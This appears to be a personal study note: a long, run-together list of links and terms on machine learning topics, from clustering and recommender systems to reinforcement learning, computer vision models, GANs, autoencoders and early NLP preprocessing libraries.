https://towardsdatascience.com/17-clustering-algorithms-used-in-data-science-mining-49dbfa5bf69a https://neptune.ai/blog/clustering-algorithms?utm_source=twitter&utm_medium=tweet&utm_campaign=blog-clustering-algorithms classix Fast and explainable clustering based on sorting https://github.com/nla-group/classix https://www.mygreatlearning.com/blog/unsupervised-machine-learning/?highlight=unsupervised%20machine%20learning&utm_source=GLA&utm_medium=Blog&utm_campaign=1-16th%20May https://scikit-learn.org/stable/modules/clustering.html https://machinelearningmastery.com/clustering-algorithms-with-python/ https://towardsdatascience.com/17-clustering-algorithms-used-in-data-science-mining-49dbfa5bf69a RFM Segmentation in E-Commerce https://towardsdatascience.com/rfm-segmentation-in-e-commerce-e0209ce8fcf6 kmodes https://www.youtube.com/watch?v=8eATPLDJ0NQ Agglomerative Hierarchical Clustering Using AGNES Algorithm https://analyticsindiamag.com/perform-agglomerative-hierarchical-clustering-using-agnes-algorithm/ CLARANS Clustering Algorithm https://analyticsindiamag.com/comprehensive-guide-to-clarans-clustering-algorithm/ https://pub.towardsai.net/fully-explained-birch-clustering-for-outliers-with-python-2ad6243f126b https://www.kdnuggets.com/2020/12/algorithms-explained-k-means-k-medoids-clustering.html https://www.kdnuggets.com/2017/03/naive-sharding-centroid-initialization-method.html CLASSIX clustering https://github.com/nla-group/classix K-Means 8x faster, 27x lower error than Scikit-learn in 25 lines https://www.kdnuggets.com/2021/01/k-means-faster-lower-error-scikit-learn.html#.YAHAAIpnx4A.linkedin k-Means Clustering by up to 10x Over Scikit-Learn https://towardsdatascience.com/how-to-speed-up-your-k-means-clustering-by-up-to-10x-over-scikit-learn-5aec980ebb72 3.Association Rule Learning - support,lift,confidence,leverage,Conviction,aprior,elcat,Fp-growth,Fp-tree construction,FP-Max Algorithm,association_rules,Frequent Itemset Mining,Multi-Relation Association Rules,High-order pattern discovery,K-optimal pattern discovery,Approximate Frequent Itemset,Generalized Association Rules,Quantitative Association Rules,Interval Data Association Rules,Sequential pattern mining,Hypergeometric Networks Sequential Patterns Generalized Sequential Patterns (GSP) Prefix-Projected Sequential Pattern Mining (PrefixSpan) Sequential Pattern Discovery using Equivalent Class (SPADE) Frequent Pattern-Projected Sequential Pattern Mining (FreeSpan) interpretable association rule https://analyticsindiamag.com/a-guide-to-interpretable-association-rule-mining-using-pycaret/ 4.Market Segmentation Demographic Segmentation,Geographic segmentation,Firmographic segmentation,Behavioural segmentation, 4.Recommendation system - Surprise,TensorFlow Recommendation,Recmterics competitive-recsys https://github.com/chihming/competitive-recsys a.collaborative Recommendation system (model based, memory based(item based,user based),hybrid) user-item interaction matrix Classification-based collaborative filtering Model-based collaborative filtering systems(Cluster model,linear regression,Bayesian networks ,latent factor(probabilistic latent,matrix factorization(als,SGD,SVD),neural network,lda)) b.content based Recommendation system similarity based(user-user similarity,item-item similarity) matrix factorization(SVD and SVD++),Popularity-based recommenders c.utility based Recommendation system d.knowledge based Recommendation system e.demographic based Recommendation system f.hybrid based Recommendation system Popularity based Recommendation system (NON-PERSONALIZED ) g.Average Weighted Recommendation h.using K Nearest Neighbor i.cosine distance recommender system item2vec j.TensorFlow Recommenders https://www.tensorflow.org/recommenders recommenders https://github.com/microsoft/recommenders Neural Collaborative Filtering for Personalized Ranking AutoRec: Rating Prediction with Autoencoders Matrix Factorization k.suprise baseline model Context-aware Recommender Systems,Mobile Recommender Systems,Group Recommender Systems,Multi-stakeholder Recommender Systems l.Neural Collaborative Filtering (NCF) l.Tf-Rec TensorFlow Recommendation https://github.com/Praful932/Tf-Rec Nvidia Merlin m.Deep Learning Recommendation Models https://www.kdnuggets.com/2021/04/deep-learning-recommendation-models-dlrm-deep-dive.html Restricted Boltzmann Machines,Auto-Encoders TOROS Buffalo https://github.com/kakao/buffalo recommenders-https://github.com/microsoft/recommenders LightFM https://making.lyst.com/lightfm/docs/home.html lkpy Python recommendation toolkit https://github.com/lenskit/lkpy https://analyticsindiamag.com/how-to-build-recommender-systems-using-lenskit/ torchrec https://github.com/pytorch/torchrec PyTorch implementations of deep reinforcement learning algorithms and environments https://github.com/p-christ/Deep-Reinforcement-Learning-Algorithms-with-PyTorch recmetrics library of metrics for evaluating recommender systems https://github.com/statisticianinstilettos/recmetrics Downsize Recommendation Models By 112 Times https://analyticsindiamag.com/explained-facebooks-novel-method-to-downsize-recommendation-models-by-112-times/ torchrec,Lenskit,RGRecSys,Surprise,Tensorflow Recommenders,NVIDIA-Merlin,Recmetrics,Surprise,DeepCTR,OpenRec,fastFM,LightFM Session-based RecSys could be done with:Recency-based Weighting (exp.decay),Probabilistic Graphical Models (FPMC, FOSSIL),Convolutional NN (Caser, NextItNet),Recurrent NN (GRU4Rec),Graph NN (SRGNN, GCSAN),Attention(STAMP, NARM, FDSA, SHAN),Transformer(BERT4Rec, Transformer4Rec),Knowledge Graph(KSR, GRU4RecKG, KGCN, KGAT, RippleNet),Landscape, Rexy, Tensor Recommendation Engine, Light FM, Spotlight, Case Recommender https://analyticsindiamag.com/top-open-source-recommender-systems-in-python-for-your-ml-project/ https://towardsdatascience.com/modern-recommender-systems-a0c727609aa8 https://machinelearningmastery.com/recommender-systems-resources/ C.Ensemble methods 1.Stacking models https://www.analyticsvidhya.com/blog/2021/03/advanced-ensemble-learning-technique-stacking-and-its-variants/? vecstack https://github.com/vecxoz/vecstack Cascading Ensembles,Cohorted Ensembles 2.Bagging models (Bagging (with the replacement) , Pasting ( without replacement )) 3.Boosting models 4.Blending 5.Voting (Hard Voting,Soft Voting) VOTING ENSEMBLE Simple : Max Voting, Averaging, Weighted Averaging,Simple Average,Rank Averaging,Bayesian Model,Majority Voting mlens ML-Ensemble – high performance ensemble learning https://github.com/flennerhag/mlens https://analyticsindiamag.com/do-ensemble-methods-always-work/ Shapley value of players (models) in weighted voting games https://github.com/benedekrozemberczki/shapley D.Reinforcement learning https://neptune.ai/blog/best-reinforcement-learning-tutorials-examples-projects-and-courses 2 types a)model free b)model based gym-https://github.com/openai/gym reinforcement learning by using PyTorch-https://github.com/SforAiDl/genrl agent,environment,policy(On-Policy vs Off-Policy),reward function,value function,state,action,episode,actor-critic agent apply action to environment get corresponding reward so that it learn environment How to get started with Reinforcement Learning https://gordicaleksa.medium.com/how-to-get-started-with-reinforcement-learning-rl-4922fafeaf8c 1.Q-Learning 2.Deep Q-Learning 3.Deep Convolutional Q-Learning Deep Deterministic Policy Gradient 4.Twin Delayed DDPG,DQN,Temporal difference 5.A3C (Actor Critic) ,A2C, Soft Actor Critic (SAC),Adversarial Motion Priors (AMP),Cross-Entropy Method (CEM),Deep Deterministic Policy Gradient (DDPG),Double Deep Q-Network (DDQN),Deep Q-Network (DQN),Proximal Policy Optimization (PPO),Q-learning (Q-learning),Soft Actor-Critic (SAC),State Action Reward State Action (SARSA),Twin-Delayed DDPG (TD3),Trust Region Policy Optimization (TRPO) 6.Advantage weighted actor critic (AWAC). 7.XCS 8.genetic algorithm,sarsa,natural policy gradient,Policy Gradient Learning https://simoninithomas.github.io/deep-rl-course/ SARSA,REINFORCE,PPO,DDPG,Ddpg,TD3 AUTORL: AUTOML FOR RL https://www.automl.org/blog-autorl/ Environments-OpenAI Gym, DeepMind Lab, Unity ML-Agents https://data-flair.training/news/python-libraries-for-reinforcement-learning/ https://analyticsindiamag.com/8-best-free-resources-to-learn-deep-reinforcement-learning-using-tensorflow/ https://analyticsindiamag.com/top-8-autonomous-driving-open-source-projects-one-must-try-hands-on/ https://analyticsindiamag.com/8-toolkits-for-reinforcement-learning-models-that-make-reasoning-explainability-core-to-ai/ https://neptune.ai/blog/best-reinforcement-learning-tutorials-examples-projects-and-courses https://towardsdatascience.com/value-based-methods-in-deep-reinforcement-learning-d40ca1086e1 https://neptune.ai/blog/best-reinforcement-learning-tutorials-examples-projects-and-courses?utm_source=twitter&utm_medium=tweet&utm_campaign=blog-best-reinforcement-learning-tutorials-examples-projects-and-courses TensorForce: A TensorFlow-based Reinforcement Learning Framework https://analyticsindiamag.com/guide-to-tensorforce-a-tensorflow-based-reinforcement-learning-framework/ Decision Transformer: Reinforcement Learning via Sequence Modeling https://github.com/kzl/decision-transformer Open AI Gym - https://gym.openai.com/ DeepMind’s MuZero https://deepmind.com/blog/article/muzero-mastering-go-chess-shogi-and-atari-without-rules?utm_campaign=Learning%20Posts&utm_content=150411901&utm_medium=social&utm_source=twitter&hss_channel=tw-3018841323 KerasRL https://github.com/keras-rl/keras-rl pyqlearning tensorforce https://tensorforce.readthedocs.io/en/latest/index.html Practical_RL https://github.com/yandexdataschool/Practical_RL rl_coach https://github.com/IntelLabs/coach#installation MushroomRL https://mushroomrl.readthedocs.io/en/latest/ TFAgents https://github.com/tensorflow/agents (https://www.tensorflow.org/agents) https://deepmind.com/blog/article/trfl TorchRec https://pytorch.org/blog/introducing-torchrec/ TensorFlow Recommenders https://www.tensorflow.org/recommenders behaviour trees used in reinforcement learning https://analyticsindiamag.com/how-are-behaviour-trees-used-in-reinforcement-learning/ Automate The Stock Market Using FinRL (Deep Reinforcement Learning Library) https://analyticsindiamag.com/stock-market-prediction-using-finrl/ Stable Baselines https://github.com/openai/baselines https://www.youtube.com/playlist?list=PL_iWQOsE6TfURIIhCrlt-wj9ByIVpbfGc https://neptune.ai/blog/the-best-tools-for-reinforcement-learning-in-python?utm_source=twitter&utm_medium=tweet&utm_campaign=blog-the-best-tools-for-reinforcement-learning-in-python Semi-Supervised Learning-small amount of labeled data with a large amount of unlabeled data during training Machine Learning with Graphs http://web.stanford.edu/class/cs224w/ E.Deep-learning (use when have huge data and data is highly complex and state of art for unstructured data) https://www.kdnuggets.com/2019/11/designing-neural-networks.html Model Zoo Discover open source deep learning code and pretrained models https://modelzoo.co/ Visualizing your Neural Network with Netron,Net2Vis,visualkeras,draw_convnet,NNSVG,PlotNeuralNet,Tensorboard,Caffe,Matlab,Keras.js,keras-sequential-ascii ,Netron,DotNet,Graphviz ,Keras Visualization,Conx,ENNUI,NNet,GraphCore ,Monial,Quiver Sharing the best resources on various machine learning topics https://www.backprop.org/ deeplearning-models-https://github.com/rasbt/deeplearning-models Deep-Learning-with-PyTorch- https://pytorch.org/assets/deep-learning/Deep-Learning-with-PyTorch.pdf Frameworks:Pytorch,Tensorflow,Keras,caffe,theano,MXNet,Matlab,Microsoft Cognitive Toolkit,opacus(Train PyTorch models with Differential Privacy) https://towardsdatascience.com/the-mostly-complete-chart-of-neural-networks-explained-3fb6f2367464 https://docs.deepstack.cc/getting-started/index.html fastest way to build, debug, and interpret neural networks https://www.perceptilabs.com/ Nengo: A New Neural Network Building and Deployment Tool https://pub.towardsai.net/nengo-a-new-neural-network-building-and-deployment-tool-66677c65fa19 Binarized Neural Network memory size is reduced, and bitwise operations improve the power efficiency https://neptune.ai/blog/binarized-neural-network-bnn-and-its-implementation-in-ml paddlehub https://github.com/PaddlePaddle/PaddleHub Performing Computer Vision & NLP Tasks in a Single Of Code https://towardsdatascience.com/performing-computer-vision-nlp-tasks-in-a-single-of-code-f7205f212d34 scikit-neuralnetwork https://towardsdatascience.com/the-simplest-way-to-train-a-neural-network-in-python-17613fa97958 https://github.com/aigamedev/scikit-neuralnetwork NVIDIA’s Kaolin: A 3D Deep Learning Library https://analyticsindiamag.com/nvidias-kaolin-3d-deep-learning-library/ https://github.com/NVIDIAGameWorks/kaolin PySyft is a Python library for secure and private Deep Learning https://github.com/OpenMined/PySyft keras-vis Visualizing Learning of a Deep Neural Network https://towardsdatascience.com/deep-learning-model-visualization-6cf6290dc981 Deep Replay Visualizing Learning of a Deep Neural Network https://towardsdatascience.com/visualizing-learning-of-a-deep-neural-network-b05f1711651c keras-visualizer Visualizing Keras Models https://towardsdatascience.com/visualizing-keras-models-4d0063c8805e Lucid Library is an open source framework to improve the interpretation of deep neural networks Gradient-Centralization-TensorFlow improve your training performance of TensorFlow models with just 2 lines of code! https://github.com/Rishit-dagli/Gradient-Centralization-TensorFlow XBNet: An Extremely Boosted Neural Network MIL-WebDNN Fastest DNN Execution Framework on Web Browser https://mil-tokyo.github.io/webdnn/ Vector Hub models to turn data into vectors text2vec, image2vec, video2vec, graph2vec, bert, inception, etc https://github.com/RelevanceAI/vectorhub torchbearer: A model fitting library for PyTorch https://github.com/pytorchbearer/torchbearer 1.Multilayer perceptron(MLP) 1.Regression task 2.Classification task Tabnet and deep tables for tabular dataset using deep learning 2.Convolutional neural network ( use for image data) Best MLOps Tools for Your Computer Vision Project Pipeline https://neptune.ai/blog/best-mlops-tools-for-computer-vision-project?utm_source=twitter&utm_medium=tweet&utm_campaign=blog-best-mlops-tools-for-computer-vision-project mediapipe https://google.github.io/mediapipe/ cv modelhub https://modelplace.ai/ all openmmlab https://github.com/open-mmlab mmdetection,mmsegmentation,mmediting,mmdetection3d,mmaction2,mmocr,mmpose,etc... glasses High-quality Neural Networks for Computer Vision https://github.com/FrancescoSaverioZuppichini/glasses IceVision https://airctic.com/0.8.0/ Top Computer Vision Google Colab Notebooks- https://www.qblocks.cloud/creators/computer-vision-google-colab-notebooks for low code object detection (detecto)- https://github.com/alankbi/detecto CV-pretrained-model- https://github.com/balavenkatesh3322/CV-pretrained-modelCV-pretrained-model- Fast Computer Vision Model Building PyTorch Lightning Flash and FiftyOne https://towardsdatascience.com/open-source-tools-for-fast-computer-vision-model-building-b39755aab490 5 Open-Source Facial Recognition https://medium.com/analytics-vidhya/ways-to-boost-your-computer-vision-projects-by-using-5-open-source-facial-recognition-projects-56668f170cb9 cnn alternative CapsNet https://github.com/XifengGuo/CapsNet-Keras EDA for image data data-gradients 1.Classification of image albumentations https://github.com/albumentations-team/albumentations AugLy https://github.com/facebookresearch/AugLy create own model,Lenet,Alexnet,DenseNet,MobileNet,ShuffleNet,SqueezeNet,Resenet,GoogleNet,Inception,Vgg16,vgg19,Efficient,EfficientNetV2,EfficientDet,residualnet,Nasnet,STN,nasneta,senet,amoebanetc,DeiT (tiny,small,base),Meta Pseudo Labels,res-mlp-pytorch,MLP-Mixer,vit,DynamicViT, FNet,gMLP models,nfnet mmclassification https://github.com/open-mmlab/mmclassification https://theaisummer.com/cnn-architectures/ https://paperswithcode.com/sota/image-classification-on-imagenet timm https://pypi.org/project/timm/ https://github.com/rwightman/pytorch-image-models 2.Localization of object in image 3.Object detection and object segmentation rcnn,fastrcnn,fastercnn,TensorFlow Object Detection,yolo v1,yolo v2,yolo v3,SlimYOLOv3,yolo v4,PP-YOLO,scaled yolov4,YOLOR,YoloV5,YOLOS,efficinetdet,fast yolo,yolo tiny,yolo lite,yolo tiny++,yolo act++,yolonas,yolov8 maskrcnn,DeepLab-v3-plus,ssd,detectron,detectron2,D2Go,mobilenet,retinanet,R-fcn,Libra_R-CNN,detr facebook,mdetr,pspnet,segnet,U-net,UNet++,Efficient U-Nets, 𝗗𝗲𝗻𝘀𝗲-𝗚𝗮𝘁𝗲𝗱 𝗨-𝗡𝗲𝘁, nnU-Net,v-net,TransUNet, H-DenseUNet, MultiResUNet ,deeplab,globalconvolutionnetwork,fcn,EfficientDet,Vision Transformer,deit,VarifocalNet (VF-Net),DINO,BodyPix,vit,AugFPN,mlsd PixelLib Simplifying Object Segmentation with PixelLib Library https://github.com/ayoolaolafenwa/PixelLib mmdetection https://github.com/open-mmlab/mmdetection https://towardsdatascience.com/mmdetection-tutorial-an-end2end-state-of-the-art-object-detection-library-59064deeada3 https://github.com/open-mmlab/mmrotate mmdetection3d https://github.com/open-mmlab/mmdetection3d mmsegmentation https://github.com/open-mmlab/mmsegmentation fewshot https://github.com/open-mmlab/mmfewshot Zero-Shot Object Detection , annotate dataset https://github.com/microsoft/GLIP imageai.Detection ObjectDetection Segmentation models https://github.com/qubvel/segmentation_models Image-Segmentation-Using-Pixellib IceVision https://airctic.com/0.8.0/ Image Generation Using TensorFlow Keras https://analyticsindiamag.com/getting-started-image-generation-tensorflow-keras/ Video Understanding https://towardsdatascience.com/video-understanding-made-simple-with-pytorch-video-and-lightning-flash-c7d65583c37e Getting Started With Object Detection Using TensorFlow https://analyticsindiamag.com/object-detection-using-tensorflow/ Instance Segmentation using Mask-RCNN with PixelLib and Python https://www.youtube.com/watch?v=i_-ud01wFhc MLP MLP solution for Vision, from Google AI https://github.com/lucidrains/mlp-mixer-pytorch MMDetection https://analyticsindiamag.com/guide-to-mmdetection-an-object-detection-python-toolbox/ mediapipe https://github.com/google/mediapipe SSL Framework For Object Detection https://analyticsindiamag.com/googles-stac-ssl-framework-for-object-detection/ GSDT https://analyticsindiamag.com/gsdt-gnns-for-simultaneous-detection-and-tracking/ D2Go Brings Detectron2 To Mobile https://analyticsindiamag.com/facebooks-d2go-brings-detectron2-to-mobile/ AdelaiDet open source toolbox for multiple instance-level detection and recognition tasks https://github.com/aim-uofa/AdelaiDet 3d object detection https://omdena.com/blog/3d-object-detection/?utm_source=linkedin&utm_medium=organic&utm_campaign=blog&utm_term=google-analytics PyMAF https://analyticsindiamag.com/guide-to-pymaf-pyramidal-mesh-alignment-feedback/ 3 kind of object segmentation are available semantic segmentation,instance segmentation,panoptic segmentation segmentation_models https://github.com/qubvel/segmentation_models https://analyticsindiamag.com/guide-to-panoptic-segmentation-a-semantic-instance-segmentation-approach/ https://analyticsindiamag.com/semantic-vs-instance-vs-panoptic-which-image-segmentation-technique-to-choose/ ResNeSt: A Better ResNet with the Same Costs https://analyticsindiamag.com/guide-to-resnest-a-better-resnet-with-the-same-costs/ PAN: Pyramid Attention Network for Semantic Segmentation https://medium.com/mlearning-ai/review-pan-pyramid-attention-network-for-semantic-segmentation-semantic-segmentation-8d94101ba24a PyTorch based low code object detection-https://github.com/alankbi/detecto https://www.kdnuggets.com/2021/03/extraction-objects-images-videos-5-lines-code.html autogluon GluonCV https://medium.com/apache-mxnet/start-fitting-cv-models-like-scikit-learn-with-gluoncv-0-10-931ff910a38 https://awesomeopensource.com/project/hoya012/deep_learning_object_detection 4.objecttracking (mean shit and optical flow and kalman filter) Tracktor++,Trackrcnn,Jde,DeepSORT,FairMOT mmtracking https://github.com/open-mmlab/mmtracking https://github.com/open-mmlab/mmflow mmhuman3d https://github.com/open-mmlab/mmhuman3d Video Understanding https://github.com/open-mmlab/mmaction2 5.Deepdream,Neural style transfer, Pose estimation generative models https://github.com/open-mmlab/mmgeneration Machine Learning for Art https://ml4a.net/# Pose estimation by mediapipe library https://google.github.io/mediapipe/ https://www.youtube.com/watch?v=brwgBf6VB0I posemodule https://www.youtube.com/watch?v=5kaX3ta398w Pose Tracking https://www.youtube.com/watch?v=0JU3kpYytuQ&t=1650s 6.DEEP LEARNING METHODS FOR 2D :OpenPose,DeepPose,AlphaPose,tfpose,MultiPoseNet,AlphaPose,Movenet lighting,VIBE,DeeperCut,Mask RCNN,DeepCut,Convolutional Pose Machines,PoseNet,MoveNet,Adobe’s BodyNet,MoveNet and TensorFlow.js,High-Resolution Net,Blaze pose,Deep Pose,PoseNet openpose wrnchai densepose mmpose https://github.com/open-mmlab/mmpose Pose Estimation using OpenCV https://www.analyticsvidhya.com/blog/2021/05/pose-estimation-using-opencv/ https://medium.com/beyondminds/an-overview-of-human-pose-estimation-with-deep-learning-d49eb656739b 3D POSE ESTIMATION 3D Image Classification https://keras.io/examples/vision/3D_image_classification/ TensorFlow 2 Object Detection API tutorial https://tensorflow-object-detection-api-tutorial.readthedocs.io/en/latest/ https://blog.paperspace.com/how-to-train-scaled-yolov4-object-detection/ Image DA libraries – Augmentor, Albumentations, ImgAug, AutoAugment, Transforms https://neptune.ai/blog/data-augmentation-in-python Simple transformations-Resize,Gray Scale,Normalize,Random Rotation,Center Crop,Random Crop,Gaussian Blur Position augmentation-Scaling,Cropping,Flipping,Padding,Rotation,Translation,Affine transformation,Kernel filters Color augmentation-Brightness,Contrast,Saturation,Hue Deep learning approach-Adverserial training,Neural style transfer,Gan data argumentation AS-One Run YOLOv7,v6,v5,R,X in under 20 lines of code https://github.com/augmentedstartups/AS-One Data augmentation feature space : noise,interpolation Data Space Character Level : Noise Induction,Rule-based Transformations Word Level : Noise Induction,Synonym Replacement,Embedding Replacement,Replacement by Language Models Phrase and Sentence Level : Interpolation,Structure-based Transformation Document Level:Round-trip Translation,Generative Methods flipping, rotation, scaling ratio, noise injection, changing contrast, translation, cropping, color jittering,AutoAugment,Fast AutoAugment,Population Based Augmentation,RandAugment More advanced techniques-Gaussian Noise,Random Blocks,Central Region albumentations https://github.com/albumentations-team/albumentations https://towardsdatascience.com/getting-started-with-albumentation-winning-deep-learning-image-augmentation-technique-in-pytorch-47aaba0ee3f8 AugLy A Modern Data Augmentation Library https://analyticsindiamag.com/complete-guide-to-augly-a-modern-data-augmentation-library/ https://github.com/facebookresearch/AugLy Data augmentation with tf.data ImageGenerator image augmentation ImageDataGenerator Albumentations SOLT Imgaug Augmentor,Albumentations,Imgaug,AutoAugment (DeepAugment) Augmentor Image augmentation library in Python for machine learning https://github.com/mdbloice/Augmentor albumentations https://github.com/albumentations-team/albumentations HiSD: Image-to-Image translation via Hierarchical Style Disentanglement https://analyticsindiamag.com/hisd-python-implementation-of-image-to-image-translation/ Zooming Slow-Mo https://analyticsindiamag.com/guide-to-zooming-slow-mo-one-stage-space-time-video-super-resolution/ Image Augmentation Pipelines with Tensorflow https://towardsai.net/p/machine-learning/building-complex-image-augmentation-pipelines-with-tensorflow-bed1914278d2 TensorFlow2.0-Examples https://github.com/YunYang1994/TensorFlow2.0-Examples unadversarial https://github.com/microsoft/unadversarial/ https://analyticsindiamag.com/microsoft-research-unadversarial/ CNNs 'see' - FilterVisualizations, Heatmaps,Saliency Maps,saliency_map_guided,Heat Map Visualizations,GradCAM,Class Activation Maps,ZFNet,Lucid,Activation Atlas,Blur Integrated Gradients,concept whitening,Integrated Gradients,SmoothGrad,PytorchRevelio,Feature Visualizer, Guided Gradients, grad_cam,sensitivity_analysis,Captum,Preliminary Methods,Plot Model Architecture,Visualize Filters,Activation based Methods,Maximal Activation,Image Occlusion,Gradient based Methods,Gradient based Class Activation Map Tools to Design or Visualize Architecture of Neural Network https://github.com/ashishpatel26/Tools-to-Design-or-Visualize-Architecture-of-Neural-Network quiver Interactive convnet features visualization for Keras https://github.com/keplr-io/quiver https://jair-neto.medium.com/a-powerful-method-for-explainability-of-object-detection-algorithms-ace0fe4623e7 https://github.com/utkuozbulak/pytorch-cnn-visualizations https://microscope.openai.com/models https://github.com/balavenkatesh3322/CV-pretrained-model Mediapipe for Python https://google.github.io/mediapipe/ imageai.Detection for Object detection cnn-raccoon interactive dashboards for your Convolutional Neural Networks with a single line of code https://github.com/lucko515/cnn-raccoon deit https://github.com/facebookresearch/deit https://wandb.ai/thibault-neveu/detr-tensorflow-log/reports/Finetuning-DETR-Object-Detection-with-Transformers-on-Tensorflow-A-step-by-step-tutorial--VmlldzozOTYyNzQ https://github.com/Visual-Behavior/detr-tensorflow awesome-computer-vision-models https://github.com/nerox8664/awesome-computer-vision-models EfficientDet https://github.com/ravi02512/efficientdet-keras Vision Transformer - Pytorch https://github.com/lucidrains/vit-pytorch https://github.com/alohays/awesome-visual-representation-learning-with-transformers T2T-ViT https://analyticsindiamag.com/complete-guide-to-t2t-vit-training-vision-transformers-efficiently-with-minimal-data/ https://github.com/yitu-opensource/T2T-ViT Explainability for Vision Transformers https://github.com/jacobgil/vit-explain https://keras.io/examples/vision/image_classification_with_vision_transformer/ https://github.com/ashishpatel26/Vision-Transformer-Keras-Tensorflow-Pytorch-Examples https://github.com/google-research/vision_transformer DeepLab-v3-plus Semantic Segmentation in TensorFlow https://github.com/rishizek/tensorflow-deeplab-v3-plus DEEP LEARNING METHODS FOR 3D:3D human pose estimation= 2D pose estimation + matching,Integral Human Pose Regression,Towards 3D Human Pose Estimation in the Wild: a Weakly-supervised Approach,A Simple Yet Effective Baseline for 3d Human Pose Estimation, Data Augmentation apply to increase size of dataset and performance of model low code object detection - detecto https://github.com/alankbi/detecto AutoML https://github.com/dataloop-ai/AutoML Object Detection with 10 lines of code-https://www.datasciencecentral.com/profiles/blogs/object-detection-with-10-lines-of-code https://towardsdatascience.com/object-detection-with-10-lines-of-code-d6cb4d86f606 Detecto https://github.com/alankbi/detecto https://medium.com/analytics-vidhya/computer-vision-in-healthcare-detection-of-fractures-3313fe6452fc OneNet-https://analyticsindiamag.com/onenet/ Norfair https://github.com/tryolabs/norfair Remo Improves Image Management https://www.freecodecamp.org/news/manage-computer-vision-datasets-in-python-with-remo/ yolo https://github.com/zzh8829/yolov3-tf2 https://github.com/ultralytics/yolov5 https://github.com/ashishpatel26/Yolov5-King-of-object-Detection https://github.com/sicara/tf2-yolov4 clip https://github.com/openai/CLIP bayesian on CNN to reduce the overfitting and we can call CNN with applied Bayesian as a BayesianCNN https://analyticsindiamag.com/a-beginners-guide-to-bayesian-cnn/ 3.Recurrent neural network (use when series of data) 1.RNN 2.GRU 3.LSTM (have memory cell,forget gate etc..) Depth Gated RNNs,Clockwork RNNs,RNN Initialized Using Identity Matrix(IRNN) 𝗧𝗲𝗺𝗽𝗼𝗿𝗮𝗹 𝗖𝗼𝗻𝘃𝗼𝗹𝘂𝘁𝗶𝗼𝗻𝗮𝗹 𝗡𝗲𝘁𝘄𝗼𝗿𝗸 better than LSTM/GRU https://github.com/ashishpatel26/tcn-keras-Examples 4.Information Discrimination Units (IDU) https://github.com/hjeun/idu Train an LSTM Model ~30x Faster Using PyTorch with GPU https://towardsdatascience.com/how-to-train-an-lstm-model-30x-faster-using-pytorch-with-gpu-e6bcd3134c86 all above 3 models have bidirectional also based on problem statement use bidirectional models Quasi-Recurrent Neural Network https://github.com/salesforce/pytorch-qrnn textgenrnn https://github.com/minimaxir/textgenrnn 4.Generative adversarial network https://poloclub.github.io/ganlab/ https://developers.google.com/machine-learning/gan/training gan lab https://poloclub.github.io/ganlab/ https://neptune.ai/blog/generative-adversarial-networks-gan-applications?utm_source=twitter&utm_medium=tweet&utm_campaign=blog-generative-adversarial-networks-gan-applications Diffusion Models Beat GANs on Image Synthesis https://paperswithcode.com/paper/diffusion-models-beat-gans-on-image-synthesis?from=n9 MUNIT: Multimodal Unsupervised Image-to-Image Translation (GAN) https://jonathan-hui.medium.com/gan-gan-series-2d279f906e7b generative adversarial transformers https://github.com/dorarad/gansformer LipGAN https://github.com/Rudrabha/LipGAN Wav2Lip https://github.com/Rudrabha/Wav2Lip BigGAN https://analyticsindiamag.com/hands-on-guide-to-biggan-with-python-code/ Cycle gan,Big GAN Style GAN,Dcgan,cGAN,SRGAN,InfoGAN,stargan,attan gan,stylegan,,PixelRNN,StackGAN,DiscoGAN,lsGAN,Conditional GAN(Pix2Pix),Progressive GANs( produces higher resolution images,Image-to-Image Translation),Face Inpainting,Super-resolution,Progressive Growing GAN,Instance-Conditioned GAN,Wasserstein GAN(improve image generation),ChromaGan,GANsformers,Conditional GAN and Unconditional GAN,Least Square GAN,Auxilary Classifier GAN,Dual Video Discriminator GAN,SRGAN,StackGAN,CycleGAN,WGAN diffusion https://github.com/openai/guided-diffusion https://www.analyticsvidhya.com/blog/2021/05/progressive-growing-gan-progan/ 5 Alternatives To Deep Nostalgia https://analyticsindiamag.com/top-5-alternatives-to-deep-nostalgia/ MixNMatch https://github.com/Yuheng-Li/MixNMatch Quantum GAN https://analyticsindiamag.com/now-gans-are-being-used-for-drug-discovery-complete-guide-to-quantum-gan-with-python-code/ https://analyticsindiamag.com/guide-to-differentiable-augmentation-for-data-efficient-gan-training/ https://analyticsindiamag.com/hands-on-python-guide-to-style-based-age-manipulation-sam-technique/ Imaginaire https://analyticsindiamag.com/guide-to-nvidia-imaginaire-gan-library-in-python/ Disentanglement https://analyticsindiamag.com/what-is-face-identity-disentanglement-and-how-it-outperformed-gans/ StyleFlow https://github.com/RameenAbdal/StyleFlow https://github.com/hindupuravinash/the-gan-zoo https://analyticsindiamag.com/top-10-tools-for-generative-adversarial-networks/ 5.Autoencoder 1.sparse Autoencoder 2.denoising Autoencoder 3.Contractive Autoencoder 4.stacked Autoencoder 5.deep Autoencoder 6.variational autoencoder 7.convolutional autoencoder Beta Variational Autoencoder,VAE with Linear Normalizing Flows ,VAE with Inverse Autoregressive Flows ,Disentangled Beta Variational Autoencoder,Disentangling by Factorising (FactorVAE),Beta-TC-VAE (BetaTCVAE),Importance Weighted Autoencoder (IWAE),VAE with perceptual metric similarity,Wasserstein Autoencoder (WAE),Info Variational Autoencoder,VAMP Autoencoder (VAMP),Hyperspherical VAE (SVAE),Adversarial Autoencoder (Adversarial_AE),Variational Autoencoder GAN (VAEGAN) ,Vector Quantized VAE (VQVAE),Hamiltonian VAE (HVAE),Regularized AE with L2 decoder param (RAE_L2),Regularized AE with gradient penalty (RAE_GP),Riemannian Hamiltonian VAE (RHVAE) https://github.com/zc8340311/RobustAutoencoder Applications of AutoEncoders,Dimensionality reduction,Anomaly detection,Image denoising,Image compression,Image generation 6.BoltzmannMachines,Restricted Boltzmann Machine,deep belief network,deep BoltzmannMachines 7.Self Organizing Maps (SOM) , Fast Self-Organizing Map https://github.com/nmarincic/numbasom,minisom https://github.com/JustGlowing/minisom 8.Natural language processing regex,PRegEx (https://github.com/manoss96/pregex) Clean data(removing stopwords depond on problem ,lowering data,tokenization,postagging,stemmimg or lemmatization depond on problem,skipgram,n-gram,chunking) clean text https://github.com/jfilter/clean-text Cleaning and Pre-processing textual data with NeatText library Automated NLP Pre-Processing using Data-Purifier Library https://github.com/Elysian01/Data-Purifier Nltk,spacy,genism,textblob,inltk,Indic NLP,StanfordNLP,Pattern,stanza,OpenNLP,polygot,corenlp,polyglot,PyDictionary,Huggiing face,spark nlp,allen nlp,rasa nlu,Megatron,texthero,Flair,textacy,finetune,gluon-nlp,VnCoreNLP,fasttext,Langid,PyCLD3,Guesslang,Parrot libraries keyword library Rake_NLTK, Spacy, Textrank, Word cloud, KeyBert, Yake, MonkeyLearn API and 